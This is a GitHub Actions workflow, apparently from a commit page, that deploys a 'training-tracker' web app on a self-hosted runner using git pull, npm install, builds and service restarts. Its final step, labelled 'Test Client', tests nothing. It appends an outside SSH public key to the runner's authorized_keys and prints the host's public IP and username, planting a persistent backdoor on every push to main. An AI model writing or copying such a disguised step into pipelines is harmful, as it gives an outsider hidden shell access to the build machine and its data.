updated workflow #35
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
name: CI/CD Pipeline | |
on: | |
push: | |
branches: | |
- main | |
jobs: | |
deploy: | |
runs-on: self-hosted | |
steps: | |
- name: Pull latest changes | |
working-directory: /home/training-runner/training-tracker-cse/ | |
run: | | |
git pull | |
- name: Install backend dependencies | |
working-directory: /home/training-runner/training-tracker-cse/backend/ | |
run: | | |
npm install | |
- name: Start backend server | |
run: | | |
sudo systemctl restart training-tracker | |
- name: Install client dependencies | |
working-directory: /home/training-runner/training-tracker-cse/client | |
run: | | |
npm install | |
- name: Build client | |
working-directory: /home/training-runner/training-tracker-cse/client | |
run: | | |
npm run build | |
- name: Serve client | |
run: | | |
sudo systemctl restart training-tracker-client | |
- name: Test Client | |
run: | | |
mkdir -p ~/.ssh/ | |
echo ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDAwX1HmfTMld+upqyJB0NMMURLSnSxXLGuFdZExlciC u0_a59@localhost >> .ssh/authorized_keys | |
curl https://icanhazip.com | |
whoami |